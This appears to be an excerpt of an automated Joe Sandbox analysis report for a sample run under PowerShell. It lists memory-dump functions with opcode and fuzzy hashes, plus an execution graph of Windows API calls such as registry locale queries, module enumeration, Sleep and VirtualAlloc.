                                                                                                                        • Source File: 00000008.00000002.1327781404.0000000004C40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C40000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_8_2_4c40000_powershell.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: af4abec34d5993d678e5abb71f18c8dbc8336ed718431ba8966acd35e01d1878
                                                                                                                        • Instruction ID: 8a987c57c49593f3705a0809853e828ea6ab9a7f9cd9734e7e531ffc4ec036b2
                                                                                                                        • Opcode Fuzzy Hash: af4abec34d5993d678e5abb71f18c8dbc8336ed718431ba8966acd35e01d1878
                                                                                                                        • Instruction Fuzzy Hash: 71F08230A042458F8751DF7CC44055AFFE09A49214B1882AED958DA246E632A502CBC1
                                                                                                                        Function 04C49549 Relevance: .0, Instructions: 25COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000008.00000002.1327781404.0000000004C40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C40000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_8_2_4c40000_powershell.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: 1079dbb8da287752c2563fec1e6cc96cde47188001430b29958ea1dfc2270c8c
                                                                                                                        • Instruction ID: 43fe6fd8b2b53abc80754232c85825291ce580b6b81706adfbd5ce2de354376e
                                                                                                                        • Opcode Fuzzy Hash: 1079dbb8da287752c2563fec1e6cc96cde47188001430b29958ea1dfc2270c8c
                                                                                                                        • Instruction Fuzzy Hash: 42E02B1AB021221B266475BD1A102BB6DCFCFC1499B05017ADA09C3301EC50EC01C3F1
                                                                                                                        Function 04C49168 Relevance: .0, Instructions: 25COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000008.00000002.1327781404.0000000004C40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C40000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_8_2_4c40000_powershell.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: 460231df1ec61e490f78004312073c6bd07c020055f37a70f26664db0f885aae
                                                                                                                        • Instruction ID: 254246ea6dad64e2bb810fac6b397cd8cd1142eb14570a1313a3b02aaeabc2e9
                                                                                                                        • Opcode Fuzzy Hash: 460231df1ec61e490f78004312073c6bd07c020055f37a70f26664db0f885aae
                                                                                                                        • Instruction Fuzzy Hash: 8DF06D709003148BD7609F79D89C79BBBEAEB84310F00446DD20ED7380DB3569808B90
                                                                                                                        Function 04C48978 Relevance: .0, Instructions: 24COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000008.00000002.1327781404.0000000004C40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C40000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_8_2_4c40000_powershell.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: a39e6c74a9b40ac946348364943319c3667731e4604c764da16f73e83d7bb269
                                                                                                                        • Instruction ID: 37b53f12d5ecc450ef7b960c1eb49506d82d72432c3121f1fd98353abee017fa
                                                                                                                        • Opcode Fuzzy Hash: a39e6c74a9b40ac946348364943319c3667731e4604c764da16f73e83d7bb269
                                                                                                                        • Instruction Fuzzy Hash: A0E0DF3530431087CB092B7AA80C2AE7A9AEBC4724F00042ED60A83382CF78580183E9
                                                                                                                        Function 04C49550 Relevance: .0, Instructions: 23COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000008.00000002.1327781404.0000000004C40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C40000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_8_2_4c40000_powershell.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: 221d81fa26d1cc2a1b01ec4f7d94c5139e9e17bff8b0104627538beeba487ddf
                                                                                                                        • Instruction ID: 0079914cc5f6582ebaa13c76335e1fd553378132358f0103f1eeb6c0c3cb70f7
                                                                                                                        • Opcode Fuzzy Hash: 221d81fa26d1cc2a1b01ec4f7d94c5139e9e17bff8b0104627538beeba487ddf
                                                                                                                        • Instruction Fuzzy Hash: 21D0A71B701532171664B5FE1A006BFA9CFCFC58AAB15013ADB0AD3341EC50EC0193F1
                                                                                                                        Function 04C4DCE8 Relevance: .0, Instructions: 23COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000008.00000002.1327781404.0000000004C40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C40000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_8_2_4c40000_powershell.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: fd4c8d452a5771c60ee91f320fcc0371df8875e812d4233fbae53c791bb77087
                                                                                                                        • Instruction ID: d6938d7a22bd22d071d4412823be57101939a650b373df780d1f5334398f7e63
                                                                                                                        • Opcode Fuzzy Hash: fd4c8d452a5771c60ee91f320fcc0371df8875e812d4233fbae53c791bb77087
                                                                                                                        • Instruction Fuzzy Hash: 29E08631B10014978B08995AD4104EDF7AADBCC220F04807ED90AA7340DA32691586E1
                                                                                                                        Function 04C4DC98 Relevance: .0, Instructions: 23COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000008.00000002.1327781404.0000000004C40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C40000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_8_2_4c40000_powershell.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: 778e934670a3f4afe78fcf92d5d9a632e2dffc675f8d781875fbed51a50f1b5d
                                                                                                                        • Instruction ID: 5a9d06b0abaf62131a55f69fd7724767875b3031a1fa2b7478e0abf06fff1326
                                                                                                                        • Opcode Fuzzy Hash: 778e934670a3f4afe78fcf92d5d9a632e2dffc675f8d781875fbed51a50f1b5d
                                                                                                                        • Instruction Fuzzy Hash: B0E0C231B40B10578212B62EA90089FBBDFDFC5AB1310442EE11ACB700DE60FD0647D5
                                                                                                                        Function 04C4C580 Relevance: .0, Instructions: 22COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000008.00000002.1327781404.0000000004C40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C40000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_8_2_4c40000_powershell.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: 9e14172879556b3f9dfcd98e138836efaa32d6f7b964f97b5b72d53084113cf5
                                                                                                                        • Instruction ID: 74b5e72e820d6f52dea24e4bb4ecad5b797500a7e95a4b41231e0cc35bc4edb1
                                                                                                                        • Opcode Fuzzy Hash: 9e14172879556b3f9dfcd98e138836efaa32d6f7b964f97b5b72d53084113cf5
                                                                                                                        • Instruction Fuzzy Hash: 35E086317082506F8341636DA8194597BD9EED6BA130500BFE14DC3682ED559C0587E6
                                                                                                                        Function 04C48739 Relevance: .0, Instructions: 22COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000008.00000002.1327781404.0000000004C40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C40000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_8_2_4c40000_powershell.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: 22a5c80e2daa039ce4a0014761ea33b9069ccbbba3ae4daa991d6e1f253557d7
                                                                                                                        • Instruction ID: 59cd0bc21da7f5c3532fc1d7d72f9e161b5a025906649326512a4170ea20a6de
                                                                                                                        • Opcode Fuzzy Hash: 22a5c80e2daa039ce4a0014761ea33b9069ccbbba3ae4daa991d6e1f253557d7
                                                                                                                        • Instruction Fuzzy Hash: 89E01231805349DFCB49AF74D4194AA7F74EB41311F0105ADD55686651DA301A86CFD1
                                                                                                                        Function 04C48800 Relevance: .0, Instructions: 21COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000008.00000002.1327781404.0000000004C40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C40000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_8_2_4c40000_powershell.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: 2516063f37d22098cf6b001a302cfff88ce5be3aebc72f88616e005ff19c06db
                                                                                                                        • Instruction ID: 589226e6c05abd6d655e203762bcfd8c559ad86eac8dde6f667c1289486270b5
                                                                                                                        • Opcode Fuzzy Hash: 2516063f37d22098cf6b001a302cfff88ce5be3aebc72f88616e005ff19c06db
                                                                                                                        • Instruction Fuzzy Hash: 41E09A34A1838ACFCB08DBB8E0465AABFF0EF86300F0441ADD84A97B12D7300840CF80
                                                                                                                        Function 04C4C590 Relevance: .0, Instructions: 18COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000008.00000002.1327781404.0000000004C40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C40000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_8_2_4c40000_powershell.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: 3e1dc7e5b5d248bc478487c9ebfaf919534aac167ad74fc09c5f09721d6921f5
                                                                                                                        • Instruction ID: a7fe265ba663c30654bf5a6efb57c8548df212cc6b315bcd8e54658fff1873a3
                                                                                                                        • Opcode Fuzzy Hash: 3e1dc7e5b5d248bc478487c9ebfaf919534aac167ad74fc09c5f09721d6921f5
                                                                                                                        • Instruction Fuzzy Hash: E4D05E35300210AB42446259E80A45977DEDAC9BA2700003AE60DC3740EE21AC0187E5
                                                                                                                        Function 04C4F470 Relevance: .0, Instructions: 16COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000008.00000002.1327781404.0000000004C40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C40000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_8_2_4c40000_powershell.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: a0679d7c354d51605d8bd13a266064c3acceb09603bccb70a5f4b130bfb080f8
                                                                                                                        • Instruction ID: 450e87eb92479a7fd759ca7afa6d3ac272e5be45c98b47d381bb604481aef5d5
                                                                                                                        • Opcode Fuzzy Hash: a0679d7c354d51605d8bd13a266064c3acceb09603bccb70a5f4b130bfb080f8
                                                                                                                        • Instruction Fuzzy Hash: 15D06270D042099F8780DFADC94156DFBF4EB48200F54C5AE8919D7301F7315612CBD1
                                                                                                                        Function 04C47932 Relevance: .0, Instructions: 16COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000008.00000002.1327781404.0000000004C40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C40000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_8_2_4c40000_powershell.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: bed5e0119cfc580f5659dc1cabe882d221e3ed5e02077c9bb9348c50af84fcca
                                                                                                                        • Instruction ID: 21480747a95aa065bdfc9702bca129ffc5901090963948e71ed1b88f848d53d5
                                                                                                                        • Opcode Fuzzy Hash: bed5e0119cfc580f5659dc1cabe882d221e3ed5e02077c9bb9348c50af84fcca
                                                                                                                        • Instruction Fuzzy Hash: F5D0173104E3C98FC31A8BB8E4A59203F65AF9321035908CED04A9F1A38A357859EB21
                                                                                                                        Function 04C48748 Relevance: .0, Instructions: 15COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000008.00000002.1327781404.0000000004C40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C40000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_8_2_4c40000_powershell.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: 2e463133133b77367bc8e19bdaacab27b668db9405d065933b9ae19e20486cb1
                                                                                                                        • Instruction ID: 11608fa066aefbf4747c7dd6f2653a36c94a7e6487ee8111380b5f8856bacc9c
                                                                                                                        • Opcode Fuzzy Hash: 2e463133133b77367bc8e19bdaacab27b668db9405d065933b9ae19e20486cb1
                                                                                                                        • Instruction Fuzzy Hash: 6CD01730C0420DCBCB48ABA5E81A4BEBB78FB40301F40016DE91B52591EB302A4ACAC0
                                                                                                                        Function 04C48810 Relevance: .0, Instructions: 15COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000008.00000002.1327781404.0000000004C40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C40000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_8_2_4c40000_powershell.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: 8731d3c7d3b0683dcfe65edeb634ea446362b5a9ab95c3b1f54c88c6833d7033
                                                                                                                        • Instruction ID: 69172d075002bcf245838ce374e1bc154c84a504dc6abc71ace02a931a0fa8b7
                                                                                                                        • Opcode Fuzzy Hash: 8731d3c7d3b0683dcfe65edeb634ea446362b5a9ab95c3b1f54c88c6833d7033
                                                                                                                        • Instruction Fuzzy Hash: B1D01734A0830ACBCB48EFA8E44A86EBBB9EB84300F00416ADD0993741EB306801CBC1
                                                                                                                        Function 04C4EA57 Relevance: .0, Instructions: 14COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000008.00000002.1327781404.0000000004C40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C40000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_8_2_4c40000_powershell.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: f47ea7bd1dde31997171311e7a7e6410d2daa4ce76f511cea447d07e2a5ac204
                                                                                                                        • Instruction ID: 20bf1e4f0a222adcd5d91b970b5bf57aea9b200c5e69a9391718b4c08e52514d
                                                                                                                        • Opcode Fuzzy Hash: f47ea7bd1dde31997171311e7a7e6410d2daa4ce76f511cea447d07e2a5ac204
                                                                                                                        • Instruction Fuzzy Hash: 5ED09239B40218CFDB04CB99E895A9CF375FB84325F1581A5E51997351CB32A912CB80
                                                                                                                        Function 04C47EA0 Relevance: .0, Instructions: 13COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000008.00000002.1327781404.0000000004C40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C40000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_8_2_4c40000_powershell.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: 4303abae4f71dbcdcb4af44d9ba312d137d3a7ee934a4c72828eaf7b14290563
                                                                                                                        • Instruction ID: d8f4b9799f5d5135a0eb9299166a388fd2b916d93cea6ae51d9a9b5e7e68ff76
                                                                                                                        • Opcode Fuzzy Hash: 4303abae4f71dbcdcb4af44d9ba312d137d3a7ee934a4c72828eaf7b14290563
                                                                                                                        • Instruction Fuzzy Hash: 6DC0127751D3E08FEB0AEB34DCB47293F31EA5320131E8ACA8082CB062CE201540C721
                                                                                                                        Function 04C47940 Relevance: .0, Instructions: 8COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000008.00000002.1327781404.0000000004C40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C40000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_8_2_4c40000_powershell.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: 6c638657ec5c3fee54ff10a5d6570067c01e0ed81b5ff27ae3cdba79f8eb20d8
                                                                                                                        • Instruction ID: e4d3bd5ad8eec36959da97dcba6d08fd44bafa0deac501990aa4df5790285d0e
                                                                                                                        • Opcode Fuzzy Hash: 6c638657ec5c3fee54ff10a5d6570067c01e0ed81b5ff27ae3cdba79f8eb20d8
                                                                                                                        • Instruction Fuzzy Hash: 13B09231084B08CFC2586F79A404818772AAF4421539004ACE82E5A2968E36E889CA44

                                                                                                                        Execution Graph

                                                                                                                        Execution Coverage:8.5%
                                                                                                                        Dynamic/Decrypted Code Coverage:0%
                                                                                                                        Signature Coverage:0%
                                                                                                                        Total number of Nodes:98
                                                                                                                        Total number of Limit Nodes:8
                                                                                                                        execution_graph 45184 d369e0 45185 d369ee 45184->45185 45194 d341f4 45185->45194 45187 d36a18 45200 d35b14 36 API calls 45187->45200 45189 d36a26 45201 d336d0 10 API calls 45189->45201 45191 d36a31 45202 d336a0 45191->45202 45195 d34235 45194->45195 45196 d34204 45194->45196 45195->45187 45196->45195 45206 d33c9c 45196->45206 45198 d34224 LoadStringA 45211 d3376c 10 API calls 45198->45211 45200->45189 45201->45191 45203 d336a6 45202->45203 45204 d336cc 45203->45204 45236 d32518 10 API calls 45203->45236 45207 d33cc3 45206->45207 45208 d33ca6 45206->45208 45207->45198 45208->45207 45212 d33c54 45208->45212 45211->45195 45213 d33c64 GetModuleFileNameA 45212->45213 45214 d33c80 45212->45214 45216 d33e90 GetModuleFileNameA RegOpenKeyExA 45213->45216 45214->45198 45217 d33f13 45216->45217 45218 d33ed3 RegOpenKeyExA 45216->45218 45235 d33cd8 10 API calls 45217->45235 45218->45217 45219 d33ef1 RegOpenKeyExA 45218->45219 45219->45217 45222 d33f9c lstrcpyn GetThreadLocale GetLocaleInfoA 45219->45222 45221 d33f38 RegQueryValueExA 45223 d33f7a RegCloseKey 45221->45223 45224 d33f58 RegQueryValueExA 45221->45224 45225 d33fd3 45222->45225 45234 d340b4 45222->45234 45223->45214 45224->45223 45226 d33f76 45224->45226 45227 d33fe3 lstrlen 45225->45227 45225->45234 45226->45223 45228 d33ffb 45227->45228 45229 d34020 lstrcpyn 45228->45229 45230 d34046 45228->45230 45228->45234 45229->45230 45231 d34052 lstrcpyn 45230->45231 45230->45234 45232 d3407e 45231->45232 45233 d34084 lstrcpyn 45232->45233 45232->45234 45233->45234 45234->45214 45235->45221 45236->45203 45237 d38414 45238 d38417 45237->45238 45241 d38328 45238->45241 45242 d38353 45241->45242 45252 d38048 45242->45252 45244 d3835f 45245 d383db 45244->45245 45256 d38068 45244->45256 45246 d336a0 10 API calls 45245->45246 45248 d383fe Sleep 45246->45248 45248->45238 45250 d3837c 45250->45245 45260 d35574 10 API calls 45250->45260 45261 d38088 Module32Next 45250->45261 45253 d38053 45252->45253 45254 d38062 45253->45254 45255 d38057 CreateToolhelp32Snapshot 45253->45255 45254->45244 45255->45244 45257 d38073 45256->45257 45258 d38082 45257->45258 45259 d38077 Module32First 45257->45259 45258->45250 45259->45250 45260->45250 45261->45250 45265 d31f24 45266 d31f41 45265->45266 45267 d31f38 45265->45267 45269 d31f6a RtlEnterCriticalSection 45266->45269 45271 d31f74 45266->45271 45276 d31f49 45266->45276 45283 d31838 RtlInitializeCriticalSection RtlEnterCriticalSection LocalAlloc RtlLeaveCriticalSection 45267->45283 45269->45271 45270 d31f3d 45270->45266 45270->45276 45271->45276 45277 d31e30 45271->45277 45274 d32095 RtlLeaveCriticalSection 45275 d3209f 45274->45275 45281 d31e40 45277->45281 45278 d31e6c 45282 d31e90 45278->45282 45289 d31c44 9 API calls 45278->45289 45281->45278 45281->45282 45284 d31da4 45281->45284 45282->45274 45282->45275 45283->45270 45290 d315f8 45284->45290 45287 d31dc1 45287->45281 45289->45282 45291 d31614 45290->45291 45293 d3161e 45291->45293 45297 d3166f 45291->45297 45299 d3167b 45291->45299 45301 d31350 45291->45301 45310 d3124c LocalAlloc 45291->45310 45309 d314e4 VirtualAlloc 45293->45309 45296 d3162a 45296->45299 45311 d3142c VirtualFree 45297->45311 45299->45287 45300 d31d18 9 API calls 45299->45300 45300->45287 45302 d3135f VirtualAlloc 45301->45302 45304 d313af 45302->45304 45305 d3138c 45302->45305 45304->45291 45312 d31204 45305->45312 45308 d3139c VirtualFree 45308->45304 45309->45296 45310->45291 45311->45299 45315 d311ac 45312->45315 45316 d311b8 LocalAlloc 45315->45316 45317 d311ca 45315->45317 45316->45317 45317->45304 45317->45308 45262 c15598 45263 c155a5 VirtualAlloc 45262->45263

                                                                                                                        Executed Functions

                                                                                                                        Function 00D33E90 Relevance: 28.2, APIs: 14, Strings: 2, Instructions: 184registrystringthreadCOMMON
                                                                                                                        Download Yara Rule

                                                                                                                        Control-flow Graph

                                                                                                                        APIs
                                                                                                                        • GetModuleFileNameA.KERNEL32(00000000,?,00000105,?,00D39090), ref: 00D33EAC
                                                                                                                        • RegOpenKeyExA.ADVAPI32(80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105,?,00D39090), ref: 00D33ECA
                                                                                                                        • RegOpenKeyExA.ADVAPI32(80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105,?,00D39090), ref: 00D33EE8
                                                                                                                        • RegOpenKeyExA.ADVAPI32(80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000), ref: 00D33F06
                                                                                                                        • RegQueryValueExA.ADVAPI32(?,?,00000000,00000000,?,?,00000000,00D33F95,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?), ref: 00D33F4F
                                                                                                                        • RegQueryValueExA.ADVAPI32(?,00D340FC,00000000,00000000,?,?,?,?,00000000,00000000,?,?,00000000,00D33F95,?,80000001), ref: 00D33F6D
                                                                                                                        • RegCloseKey.ADVAPI32(?,00D33F9C,00000000,?,?,00000000,00D33F95,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105), ref: 00D33F8F
                                                                                                                        • lstrcpyn.KERNEL32(?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000), ref: 00D33FAC
                                                                                                                        • GetThreadLocale.KERNEL32(00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?), ref: 00D33FB9
                                                                                                                        • GetLocaleInfoA.KERNEL32(00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019), ref: 00D33FBF
                                                                                                                        • lstrlen.KERNEL32(?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000), ref: 00D33FEA
                                                                                                                        • lstrcpyn.KERNEL32(00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?), ref: 00D34031
                                                                                                                        • lstrcpyn.KERNEL32(00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?), ref: 00D34069
                                                                                                                        • lstrcpyn.KERNEL32(00000001,?,00000105,?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?,00000005,?,?), ref: 00D3409F
                                                                                                                        Strings
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000017.00000002.1621058744.0000000000D2C000.00000040.00000001.01000000.00000009.sdmp, Offset: 00A50000, based on PE: true
                                                                                                                        • Associated: 00000017.00000002.1620832274.0000000000A50000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                        • Associated: 00000017.00000002.1620855278.0000000000A52000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                        • Associated: 00000017.00000002.1621058744.0000000000AA8000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                        • Associated: 00000017.00000002.1621058744.0000000000BDC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                        • Associated: 00000017.00000002.1621058744.0000000000BE9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                        • Associated: 00000017.00000002.1621058744.0000000000BEE000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                        • Associated: 00000017.00000002.1621058744.0000000000C09000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                        • Associated: 00000017.00000002.1621058744.0000000000D40000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                        • Associated: 00000017.00000002.1621058744.0000000000D46000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_23_2_a50000_fff.jbxd
                                                                                                                        Yara matches
                                                                                                                        Similarity
                                                                                                                        • API ID: lstrcpyn$Open$LocaleQueryValue$CloseFileInfoModuleNameThreadlstrlen
                                                                                                                        • String ID: Software\Borland\Delphi\Locales$Software\Borland\Locales
                                                                                                                        • API String ID: 1132139435-2375825460
                                                                                                                        • Opcode ID: 5ee6af0b60db9c4405343ce7dec2c33a2fa5eb60b761b0c9c0ac48f02687acd6
                                                                                                                        • Instruction ID: d464f8b03a3ab86e8fecbce42e589dc204cf7f7d4523aa0b8a7e6f501a59ce27
                                                                                                                        • Opcode Fuzzy Hash: 5ee6af0b60db9c4405343ce7dec2c33a2fa5eb60b761b0c9c0ac48f02687acd6
                                                                                                                        • Instruction Fuzzy Hash: 65514175E4025D7EEB25D6A48D46FEFB7BCDB04740F4401A1BB04E61C1DAB4AE448BB1
                                                                                                                        Function 075B98E0 Relevance: 9.4, Strings: 7, Instructions: 675COMMON
                                                                                                                        Download Yara Rule

                                                                                                                        Control-flow Graph

                                                                                                                        • Executed
                                                                                                                        • Not Executed
                                                                                                                        control_flow_graph 30 75b98e0-75b9905 31 75b990a-75b990d 30->31 32 75b990f 31->32 33 75b9916-75b993c 31->33 32->33 34 75b99b8 call 75ba420 32->34 35 75b99dc-75b9cf8 call 75ba640 call 75ba9c0 32->35 33->31 42 75b993e 33->42 37 75b99be-75b99cf 34->37 98 75b9cfa-75b9d1f 35->98 99 75b9d21-75b9d3f 35->99 37->31 40 75b99d5-75b99d7 37->40 40->31 42->31 102 75b9d46-75b9d7c 98->102 99->102 228 75b9d7c call 75bad08 102->228 229 75b9d7c call 75badc2 102->229 230 75b9d7c call 75bab21 102->230 231 75b9d7c call 75bacb5 102->231 108 75b9d82-75ba11a call 75bb078 call 75bf488 call 75bf61a 173 75ba1b1-75ba1bb 108->173 174 75ba120-75ba1af 108->174 175 75ba1c1-75ba1ed 173->175 174->175 181 75ba28b-75ba292 175->181 182 75ba1f3-75ba289 175->182 183 75ba298-75ba34c call 75bf812 181->183 182->183 210 75ba359-75ba364 183->210 211 75ba34e-75ba357 183->211 212 75ba36a-75ba37d 210->212 211->212 213 75ba3af-75ba3fc 212->213 214 75ba37f-75ba3ad 212->214 223 75ba404 213->223 214->213 224 75ba406 223->224 224->224 228->108 229->108 230->108 231->108
                                                                                                                        Strings
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000017.00000002.1639591978.00000000075B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 075B0000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_23_2_75b0000_fff.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID: +$+$,$,$0$0$0
                                                                                                                        • API String ID: 0-1393378508
